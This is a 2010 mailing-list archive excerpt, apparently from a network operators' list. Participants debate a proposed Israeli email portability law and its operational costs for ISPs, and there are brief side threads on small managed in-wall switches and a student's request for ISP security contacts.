James Jones wrote: > >> Why does this seem like a really bad idea? > > While I think the principal is noble there are operational problems: I dare say. I own example. I fire George for a long list of foul deeds. He goes to work for another company and writes email from george at example.com that injures my reputation. Not a good plan at all. > 1) Large and increasing quantity of email will be forwarded between > Israeli ISPs, loading their networks with traffic that could have been > avoided. Believe it or not, some people have email addresses that are not intrinsically "ISP" addresses. > 2) Every time someone changes ISP and wants to continue using this address > they will need to notify their original ISP, who they may not have had a > business relationship with for many years. This will be a significant > operational challenge I expect. How do you confirm the person notifying > you is the real owner of the address, for example? Again, it might all be within one ISP--and is still irrelevant. > IMHO it would have been better to require the ISPs to forward the email > for a reasonable period of time (say 3 months) to allow the user to make > relevant notifications (or just stop using an ISP bound email address). Governments requiring people to do things that are not good ideas often have unexpected (even if obvious) consequences. My reaction, if I were in a position to do so, would be to stop providing email addresses. > Unfortunately the links cited are in Hebrew so I'm only going on Gadi's > report here. Why is that relevant? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From patrick at zill.net Mon Feb 22 10:34:01 2010 From: patrick at zill.net (Patrick Giagnocavo) Date: Mon, 22 Feb 2010 11:34:01 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B829E39.6070600@linuxbox.org> References: <4B829E39.6070600@linuxbox.org> Message-ID: <4B82B1F9.3020505@zill.net> Gadi Evron wrote: > The email portability bill has just been approved by the Knesset's > committee for legislation, sending it on its way for the full > legislation process of the Israeli parliament. > > While many users own a free email account, many in Israel still make use > of their ISP's email service. > > According to this proposed bill, when a client transfers to a different > ISP the email address will optionally be his to take along, "just like" > mobile providers do today with phone numbers. > Likely result: less ISPs will offer email services as part of the package, or will find some other way to shift responsibility to a third party. --Patrick From cian.brennan at redbrick.dcu.ie Mon Feb 22 10:42:30 2010 From: cian.brennan at redbrick.dcu.ie (Cian Brennan) Date: Mon, 22 Feb 2010 16:42:30 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82B13D.5010804@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> Message-ID: <20100222164230.GA4836@minerva.redbrick.dcu.ie> On Mon, Feb 22, 2010 at 10:30:53AM -0600, Larry Sheldon wrote: > On 2/22/2010 10:24 AM, Robert Brockway wrote: > > On Mon, 22 Feb 2010, James Jones wrote: > > > >> Why does this seem like a really bad idea? > > > > While I think the principal is noble there are operational problems: > > I dare say. > > I own example. I fire George for a long list of foul deeds. He goes to > work for another company and writes email from george at example.com that > injures my reputation. > > Not a good plan at all. > > > 1) Large and increasing quantity of email will be forwarded between > > Israeli ISPs, loading their networks with traffic that could have been > > avoided. > > Believe it or not, some people have email addresses that are not > intrinsically "ISP" addresses. > > > 2) Every time someone changes ISP and wants to continue using this address > > they will need to notify their original ISP, who they may not have had a > > business relationship with for many years. This will be a significant > > operational challenge I expect. How do you confirm the person notifying > > you is the real owner of the address, for example? > > Again, it might all be within one ISP--and is still irrelevant. > Actually, this is really simple to fix. Don't provide smtp service, only pop/imap. Then they never need to contact you. At least one Irish ISP already does something similar for ex-subscribers. > > IMHO it would have been better to require the ISPs to forward the email > > for a reasonable period of time (say 3 months) to allow the user to make > > relevant notifications (or just stop using an ISP bound email address). > > Governments requiring people to do things that are not good ideas often > have unexpected (even if obvious) consequences. > > My reaction, if I were in a position to do so, would be to stop > providing email addresses. > > > Unfortunately the links cited are in Hebrew so I'm only going on Gadi's > > report here. > > Why is that relevant? > > -- > "Government big enough to supply everything you need is big enough to > take everything you have." > > Remember: The Ark was built by amateurs, the Titanic by professionals. > > Requiescas in pace o email > Ex turpi causa non oritur actio > Eppure si rinfresca > > ICBM Targeting Information: http://tinyurl.com/4sqczs > http://tinyurl.com/7tp8ml > > > -- -- From mustafa.golam at gmail.com Mon Feb 22 10:42:37 2010 From: mustafa.golam at gmail.com (Mustafa Golam -) Date: Mon, 22 Feb 2010 22:42:37 +0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82B13D.5010804@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> Message-ID: On Mon, Feb 22, 2010 at 10:30 PM, Larry Sheldon wrote: > On 2/22/2010 10:24 AM, Robert Brockway wrote: > > On Mon, 22 Feb 2010, James Jones wrote: > > > >> Why does this seem like a really bad idea? > > > > While I think the principal is noble there are operational problems: > > I dare say. > > I own example. I fire George for a long list of foul deeds. He goes to > work for another company and writes email from george at example.com that > injures my reputation. > > Not a good plan at all. > I think, it will apply only users's email address, not of employee of the particular ISP. --Mustafa From dhetzel at gmail.com Mon Feb 22 10:44:05 2010 From: dhetzel at gmail.com (Dorn Hetzel) Date: Mon, 22 Feb 2010 11:44:05 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82B13D.5010804@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> Message-ID: <7db2dcf91002220844w1ab1d2a1pa680d69f2d6eaecf@mail.gmail.com> > > > I dare say. > > I own example. I fire George for a long list of foul deeds. He goes to > work for another company and writes email from george at example.com that > injures my reputation. > > I suspect we are only talking about email addresses provided as part of a commercial service, not as an aspect of one's job. For example, if I have a Nextel cellphone, and then they get bought by Sprint and I decide they now suck, and I move my phone service to T-Mobile so I can get a cool new G1, then Sprint is obliged to release my phone number and let T-Mobile provide my new service using it. However, if I work for Bob's Widgets, and they fire me because I'm a slacker, I'm not expecting I get to keep the number associated with my work-issued cellphone, no matter what carrier issued it... Even if Bob's Widgets was really a carrier providing a phone on their own network... -dorn From owen at delong.com Mon Feb 22 10:44:10 2010 From: owen at delong.com (Owen DeLong) Date: Mon, 22 Feb 2010 08:44:10 -0800 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> Message-ID: There are huge differences in LNP/WLNP vs. Email Address portability. Prior to LNP/WLNP, there was already SS7 which is, essentially a centralized layer of indirection for phone numbers. This was necessary in order to support multiple LECs serving the same NPA-NXX anyway. Once that was in place, LNP/WLNP was almost a no-brainer from a call routing perspective. The issue was with the administrative process and the level of ethics exhibited by some of the phone-company participants (slamming, etc.). We saw the same thing in DNS. LNP is much more like domain name portability than email address portability. We already have domain name portability and had it long before LNP/WLNP. The owner of a domain has always been able to change the NS records pointing to the authoritative DNS servers for said domain. If users care about email portability, they should simply get their own domain and move the domain around as they see fit. Given google and other email hosting providers which will trivially host your email domain and the low annual cost of registering a domain, I'm not sure why legislators would think doing it differently is a good idea. If I were an Israeli ISP and this law were to pass, I'd simply discontinue providing email service for my customers and suggest they get their email via Google, Yahoo, or other free email service. Owen On Feb 22, 2010, at 8:26 AM, Dorn Hetzel wrote: > I am sure the various carriers faced with the onset of Local Number > Portability and WLNP in this part of the world would have been happy to > escape with only forwarding phone calls for 3 months. > > Alas, such was not their fate :) > > I would watch out for this idea, it might actually catch on in various > places, warts and all... > > On Mon, Feb 22, 2010 at 11:24 AM, Robert Brockway > wrote: > >> On Mon, 22 Feb 2010, James Jones wrote: >> >> Why does this seem like a really bad idea? >>> >> >> While I think the principal is noble there are operational problems: >> >> 1) Large and increasing quantity of email will be forwarded between Israeli >> ISPs, loading their networks with traffic that could have been avoided. >> >> 2) Every time someone changes ISP and wants to continue using this address >> they will need to notify their original ISP, who they may not have had a >> business relationship with for many years. This will be a significant >> operational challenge I expect. How do you confirm the person notifying you >> is the real owner of the address, for example? >> >> IMHO it would have been better to require the ISPs to forward the email for >> a reasonable period of time (say 3 months) to allow the user to make >> relevant notifications (or just stop using an ISP bound email address). >> >> Unfortunately the links cited are in Hebrew so I'm only going on Gadi's >> report here. >> >> Cheers, >> >> Rob >> >> -- >> Email: robert at timetraveller.org >> IRC: Solver >> Web: http://www.practicalsysadmin.com >> I tried to change the world but they had a no-return policy >> >> From LarrySheldon at cox.net Mon Feb 22 10:49:59 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 10:49:59 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82B13D.5010804@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> Message-ID: <4B82B5B7.2010406@cox.net> A thing being missed here is this: A telephone number does not have an obvious affinity with personal intellectual-property-like information. (402 332-XXXX is not obviously a Northwest Bell-USWest-Quest telephone number, but at least two of them are now served by Cox. A person using a 917 NNX-XXXX number in has now turned useful information into noise, but that is not quite the same thing.) An email address that ends in example.com irrevocably ties the address user to the company Example and may in fact be affirmatively harmful beyond the technical difficulty of implementation. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From josh.cheney at gmail.com Mon Feb 22 11:03:31 2010 From: josh.cheney at gmail.com (Josh Cheney) Date: Mon, 22 Feb 2010 12:03:31 -0500 Subject: In wall switches In-Reply-To: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> Message-ID: <4B82B8E3.8030603@gmail.com> On 2/16/10 11:28 AM, Andrey Khomyakov wrote: > Does anyone know of anything like a small, but managed in wall switch? I > have an area where the business needs to deploy more thin client kiosks than > I have data drops and it's impossible to add more due to how the walls on > that floor (basement) where finished. A Mikrotik RB750 would fit the bill nicely. It has additional routing features that are probably not necessary, but will do simple managed switching features easily, and I think it can even be powered by PoE. http://routerboard.com/index.php?showProduct=56 -- Josh Cheney josh.cheney at gmail.com http://www.joshcheney.com From khomyakov.andrey at gmail.com Mon Feb 22 11:10:28 2010 From: khomyakov.andrey at gmail.com (Andrey Khomyakov) Date: Mon, 22 Feb 2010 12:10:28 -0500 Subject: In wall switches In-Reply-To: <4B82B8E3.8030603@gmail.com> References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> <4B82B8E3.8030603@gmail.com> Message-ID: <6fa15a3f1002220910j733b882cm72b8a360d1cb09df@mail.gmail.com> I ordered 4 of the 3CNJ2000. The came in the other day. So far, looks like they will work out fine, considering they even support .1x (supposedly), but I already noticed an annoying thing - they don't get the DHCP address reliably and fall back the 169. address. So one would have to disconnect from the network to configure them and they retain a static IP just fine. I updated the firmware on them and the annoyance seem to have gone away, but one would still have to connect them first before one can update the firmware. Just keep in mind if you ever run across those PS. They also support LLDP which comes in handy during deployment. On Mon, Feb 22, 2010 at 12:03 PM, Josh Cheney wrote: > On 2/16/10 11:28 AM, Andrey Khomyakov wrote: > >> Does anyone know of anything like a small, but managed in wall switch? I >> have an area where the business needs to deploy more thin client kiosks >> than >> I have data drops and it's impossible to add more due to how the walls on >> that floor (basement) where finished. >> > > A Mikrotik RB750 would fit the bill nicely. It has additional routing > features that are probably not necessary, but will do simple managed > switching features easily, and I think it can even be powered by PoE. > > http://routerboard.com/index.php?showProduct=56 > > -- > Josh Cheney > josh.cheney at gmail.com > http://www.joshcheney.com > > -- ---- Andrey Khomyakov [khomyakov.andrey at gmail.com] From Valdis.Kletnieks at vt.edu Mon Feb 22 11:19:07 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 22 Feb 2010 12:19:07 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: Your message of "Mon, 22 Feb 2010 10:30:53 CST." <4B82B13D.5010804@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> Message-ID: <9243.1266859147@localhost> On Mon, 22 Feb 2010 10:30:53 CST, Larry Sheldon said: > > Unfortunately the links cited are in Hebrew so I'm only going on Gadi's > > report here. > > Why is that relevant? For the same reason that if I cited a link that lead to a page in Latvian, you'd have a hard time double-checking that my 4-line summary of the page actually matched what the page said, so you'd have to run with my 4-line summary. Google Translate actually does a reasonable job at first-pass translation of Latvian that captures the general gist of it, but it still makes me facepalm on occasion. Of course, the more critical the exact nuances, the more likely it is to egregiously screw up. "It's 17C in Riga" works fine, but the distinction between "mandate new laws" and "recommend new policies" still troubles it. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From mustafa.golam at gmail.com Mon Feb 22 11:22:01 2010 From: mustafa.golam at gmail.com (Mustafa Golam -) Date: Mon, 22 Feb 2010 23:22:01 +0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82B5B7.2010406@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> <4B82B5B7.2010406@cox.net> Message-ID: On Mon, Feb 22, 2010 at 10:49 PM, Larry Sheldon wrote: > > An email address that ends in example.com irrevocably ties the address > user to the company Example and may in fact be affirmatively harmful > beyond the technical difficulty of implementation. > > IMHO, ISPs would be forged to take Google's policy of Email addresses. xyz at gmail.com for beta-users, like you and me; while xyz at google.com for employees. But surely it will create technical implication along with many others. -- Mustafa From LarrySheldon at cox.net Mon Feb 22 11:24:09 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 11:24:09 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <9243.1266859147@localhost> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> <9243.1266859147@localhost> Message-ID: <4B82BDB9.8050208@cox.net> On 2/22/2010 11:19 AM, Valdis.Kletnieks at vt.edu wrote: > On Mon, 22 Feb 2010 10:30:53 CST, Larry Sheldon said: > >>> Unfortunately the links cited are in Hebrew so I'm only going on Gadi's >>> report here. >> >> Why is that relevant? > > For the same reason that if I cited a link that lead to a page in Latvian, > you'd have a hard time double-checking that my 4-line summary of the page > actually matched what the page said, so you'd have to run with my 4-line > summary. > > Google Translate actually does a reasonable job at first-pass translation > of Latvian that captures the general gist of it, but it still makes me > facepalm on occasion. Of course, the more critical the exact nuances, > the more likely it is to egregiously screw up. "It's 17C in Riga" works > fine, but the distinction between "mandate new laws" and "recommend new policies" > still troubles it. You don't note when you are taking somebody's word when they write in English. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From mplsvrf at gmail.com Mon Feb 22 11:27:54 2010 From: mplsvrf at gmail.com (Erik Jacobsen) Date: Mon, 22 Feb 2010 11:27:54 -0600 Subject: Assistance Required for Masters Program Message-ID: I am in the process of enrolling in a Masters of Information Assurance (MSIA) program and need some assistance. The program requires that we complete a case study at the end of each three month term. I have chosen to do my case studies on the Internet Service Provider industry. I worked in the industry for 5+ years, so I am pretty comfortable with the technology. I am looking for a couple of CISSP level engineers or even Information Security officers who work for an Internet service provider to act as industry contacts. The purpose of the case studies is to baseline course content against current industry practices. So, I will be producing a case study that will identify current industry practices and makes recommendations on how the industry as a whole can improve security. My work may even be published in those ubiquitous industry rags. Because security is a sensitive subject, you have the option of remaining anonymous in my reports. Thanks Erik Jacobsen From jabley at hopcount.ca Mon Feb 22 11:28:13 2010 From: jabley at hopcount.ca (Joe Abley) Date: Mon, 22 Feb 2010 12:28:13 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B829E39.6070600@linuxbox.org> References: <4B829E39.6070600@linuxbox.org> Message-ID: <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> On 2010-02-22, at 10:09, Gadi Evron wrote: > The email portability bill has just been approved by the Knesset's committee for legislation, sending it on its way for the full legislation process of the Israeli parliament. > > While many users own a free email account, many in Israel still make use of their ISP's email service. Just out of interest, are those ISP-tied e-mail addresses always run by the ISP, or are they occasionally outsourced in the manner of Rogers' (Canada) or BT's (UK) respective deals with Yahoo! (US)? It'd be an interesting twist if contracts between e-mail providers outside Israel and ISPs inside suddenly made this requirement for e-mail address portability leak beyond Israel's borders. Joe From ops.lists at gmail.com Mon Feb 22 11:29:38 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Mon, 22 Feb 2010 22:59:38 +0530 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> Message-ID: Am I missing something? All the ISP has to do is to provision a pop3 / imap / webmail mailbox for that user and keep it around. On Mon, Feb 22, 2010 at 10:14 PM, Owen DeLong wrote: > There are huge differences in LNP/WLNP vs. Email Address portability. > > Prior to LNP/WLNP, there was already SS7 which is, essentially a centralized > layer of indirection for phone numbers. This was necessary in order to support -- Suresh Ramasubramanian (ops.lists at gmail.com) From LarrySheldon at cox.net Mon Feb 22 11:30:15 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 11:30:15 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> <4B82B5B7.2010406@cox.net> Message-ID: <4B82BF27.4010900@cox.net> On 2/22/2010 11:22 AM, Mustafa Golam - wrote: > On Mon, Feb 22, 2010 at 10:49 PM, Larry Sheldon wrote: > > >> >> An email address that ends in example.com irrevocably ties the address >> user to the company Example and may in fact be affirmatively harmful >> beyond the technical difficulty of implementation. >> I don't think I said the following line--if I was demented enough to have done that, I retract it. >> IMHO, ISPs would be forged to take Google's policy of Email addresses. > > xyz at gmail.com for beta-users, like you and me; while xyz at google.com for > employees. But surely it will create technical implication along with many > others. And I am talking about places that people that have no connection with g[.*] The key that I missed, and we have to hope the pols did not is that question of ownership. I think you will see a drying up of availability of email--which has interesting implications in the realm of unique addresses possible, for example. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From robert at timetraveller.org Mon Feb 22 11:39:19 2010 From: robert at timetraveller.org (Robert Brockway) Date: Mon, 22 Feb 2010 17:39:19 +0000 (UTC) Subject: Email Portability Approved by Knesset Committee In-Reply-To: <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> Message-ID: On Mon, 22 Feb 2010, Dorn Hetzel wrote: > I am sure the various carriers faced with the onset of Local Number > Portability and WLNP in this part of the world would have been happy to > escape with only forwarding phone calls for 3 months. I'm sure they would :) I know very little of the workings of cell (or landline) phone networks but I expect if it worked the same way Internet routing does then the Telco networks would have had serious problems under the weight of rerouted calls. > > I would watch out for this idea, it might actually catch on in various > places, warts and all... OTOH if it fails in a screaming heap in Israel it may show everyone else why it is a bad idea :) Cheers, Rob -- Email: robert at timetraveller.org IRC: Solver Web: http://www.practicalsysadmin.com I tried to change the world but they had a no-return policy From LarrySheldon at cox.net Mon Feb 22 11:35:37 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 11:35:37 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> References: <4B829E39.6070600@linuxbox.org> <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> Message-ID: <4B82C069.2080602@cox.net> On 2/22/2010 11:28 AM, Joe Abley wrote: > > On 2010-02-22, at 10:09, Gadi Evron wrote: > >> The email portability bill has just been approved by the Knesset's >> committee for legislation, sending it on its way for the full >> legislation process of the Israeli parliament. >> >> While many users own a free email account, many in Israel still >> make use of their ISP's email service. > > Just out of interest, are those ISP-tied e-mail addresses always run > by the ISP, or are they occasionally outsourced in the manner of > Rogers' (Canada) or BT's (UK) respective deals with Yahoo! (US)? > > It'd be an interesting twist if contracts between e-mail providers > outside Israel and ISPs inside suddenly made this requirement for > e-mail address portability leak beyond Israel's borders. I have been wondering about that too--the Internet may be the only artifact of human existence that is generally border insensitive (with exceptions we don't need to enumerate). I note that quite a few country TLDs are hosted in other countries. Whose laws prevail? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From LarrySheldon at cox.net Mon Feb 22 11:37:48 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 11:37:48 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> Message-ID: <4B82C0EC.8050302@cox.net> On 2/22/2010 11:29 AM, Suresh Ramasubramanian wrote: > Am I missing something? All the ISP has to do is to provision a pop3 > / imap / webmail mailbox for that user and keep it around. And provide storage, support, ......, mail-bomb cleanup. Whose TOS applies? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From robert at timetraveller.org Mon Feb 22 11:44:57 2010 From: robert at timetraveller.org (Robert Brockway) Date: Mon, 22 Feb 2010 17:44:57 +0000 (UTC) Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82B13D.5010804@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> Message-ID: On Mon, 22 Feb 2010, Larry Sheldon wrote: > Believe it or not, some people have email addresses that are not > intrinsically "ISP" addresses. Indeed. I'm sure pretty much everyone here know why ISPs offer email services. > My reaction, if I were in a position to do so, would be to stop > providing email addresses. Yes this may well be a sensible business decision. >> Unfortunately the links cited are in Hebrew so I'm only going on Gadi's >> report here. > > Why is that relevant? Because I don't speak Hebrew. The statement is a disclaimer that I need to rely on Gadi's summary rather than reading the thing in detail for myself, as I would have preferred to do. Cheers, Rob -- Email: robert at timetraveller.org IRC: Solver Web: http://www.practicalsysadmin.com I tried to change the world but they had a no-return policy From brunner at nic-naa.net Mon Feb 22 12:02:09 2010 From: brunner at nic-naa.net (Eric Brunner-Williams) Date: Mon, 22 Feb 2010 13:02:09 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> References: <4B829E39.6070600@linuxbox.org> <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> Message-ID: <4B82C6A1.7000604@nic-naa.net> On 2/22/10 12:28 PM, Joe Abley wrote: > > On 2010-02-22, at 10:09, Gadi Evron wrote: ... > It'd be an interesting twist if contracts between e-mail providers outside Israel and ISPs inside suddenly made this requirement for e-mail address portability leak beyond Israel's borders. Off-list I asked an equivalent transitive service provisioning question for a service not mentioned, but possibly associated with ISP provided email services. The technical issue area is IDNAbis and EAI for those interested in the specification aspect. I've no clear answer as yet, and my interest is semi-academic. Eric From bzs at world.std.com Mon Feb 22 12:34:34 2010 From: bzs at world.std.com (Barry Shein) Date: Mon, 22 Feb 2010 13:34:34 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B829E39.6070600@linuxbox.org> References: <4B829E39.6070600@linuxbox.org> Message-ID: <19330.52794.546106.775@world.std.com> My initial reaction: Does the law in any way imply this mail address has to be provided for free? If not then I don't see any real problem on the surface. It just means we have to offer the opportunity to keep the mail address functioning for a fee. That said, what does occur to me is what happens when we've closed someone's account for email abuse (e.g., a spammer)? That thought might be extended to non-payment, if an account is closed for non-payment is there any further obligation under this law? I assume sane heads will prevail in such cases but until then this might conceivably create a loophole for some miscreant to harass the provider. As a general rule miscreants often have no shame. I suppose the whole forwarding / spamblocking issue arises but that's not any different than any service which allows forwarding. -- -Barry Shein The World | bzs at TheWorld.com | http://www.TheWorld.com Purveyors to the Trade | Voice: 800-THE-WRLD | Dial-Up: US, PR, Canada Software Tool & Die | Public Access Internet | SINCE 1989 *oo* From fw at deneb.enyo.de Mon Feb 22 12:42:01 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Mon, 22 Feb 2010 19:42:01 +0100 Subject: Email Portability Approved by Knesset Committee In-Reply-To: (Steven Bellovin's message of "Mon, 22 Feb 2010 11:25:19 -0500") References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: <87k4u5i03q.fsf@mid.deneb.enyo.de> * Steven Bellovin: > Bring back the MB or MR DNS records? (Only half a smiley.) Eh, you don't want to put this information into a public database. Officially, for privacy reasons. Unofficially, to create a barrier to market entry. From Valdis.Kletnieks at vt.edu Mon Feb 22 12:42:48 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 22 Feb 2010 13:42:48 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: Your message of "Mon, 22 Feb 2010 11:24:09 CST." <4B82BDB9.8050208@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> <9243.1266859147@localhost> <4B82BDB9.8050208@cox.net> Message-ID: <17340.1266864168@localhost> On Mon, 22 Feb 2010 11:24:09 CST, Larry Sheldon said: > You don't note when you are taking somebody's word when they write in > English. Actually, we do. So tell me Larry - if I cited a Latvian web page, and gave a summary, would you feel comfortable blindly passing it along without mentioning the fact that you were unable to verify what the page said? What if I quoted a web page in English that was slashdotted or otherwise 404'ed by the time you tried to look at it, so you never saw the page but only what I allegedly quoted? Would you pass *that* along without notice as well? Or would you note "the page 404's for me"? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From LarrySheldon at cox.net Mon Feb 22 12:50:34 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 12:50:34 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <19330.52794.546106.775@world.std.com> References: <4B829E39.6070600@linuxbox.org> <19330.52794.546106.775@world.std.com> Message-ID: <4B82D1FA.1040907@cox.net> On 2/22/2010 12:34 PM, Barry Shein wrote: > That said, what does occur to me is what happens when we've closed > someone's account for email abuse (e.g., a spammer)? I've been thinking about that issue--spammer drop-boxes. But we are not supposed to talk about spammers here so I was going to take it up on NANAE. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From dhc2 at dcrocker.net Mon Feb 22 12:51:25 2010 From: dhc2 at dcrocker.net (Dave CROCKER) Date: Mon, 22 Feb 2010 10:51:25 -0800 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> Message-ID: <4B82D22D.3050905@dcrocker.net> On 2/22/2010 9:29 AM, Suresh Ramasubramanian wrote: > Am I missing something? All the ISP has to do is to provision a pop3 > / imap / webmail mailbox for that user and keep it around. As a permanent requirement for all accounts, including changes as the user moves around -- long-term churn is 100% within relatively few years-- and to expect all domain owners who originally host a mailbox to then do this forwarding admin and ops competently, this is going to be a serious problem. The scheme is certain to be quite unreliable along multiple axes. Worse, I had not thought of Sheldon's excellent point about negative reputation blowback on the domain owner. Per the followup comments on this, the domain owner might be able to do some things in domain name usage and IP Address assignment to mitigate this, the initial and on-going costs of getting this right and the likelihood of eliminating all blowback are problematic. d/ -- Dave Crocker Brandenburg InternetWorking bbiw.net From smb at cs.columbia.edu Mon Feb 22 12:51:32 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Mon, 22 Feb 2010 13:51:32 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <87k4u5i03q.fsf@mid.deneb.enyo.de> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <87k4u5i03q.fsf@mid.deneb.enyo.de> Message-ID: 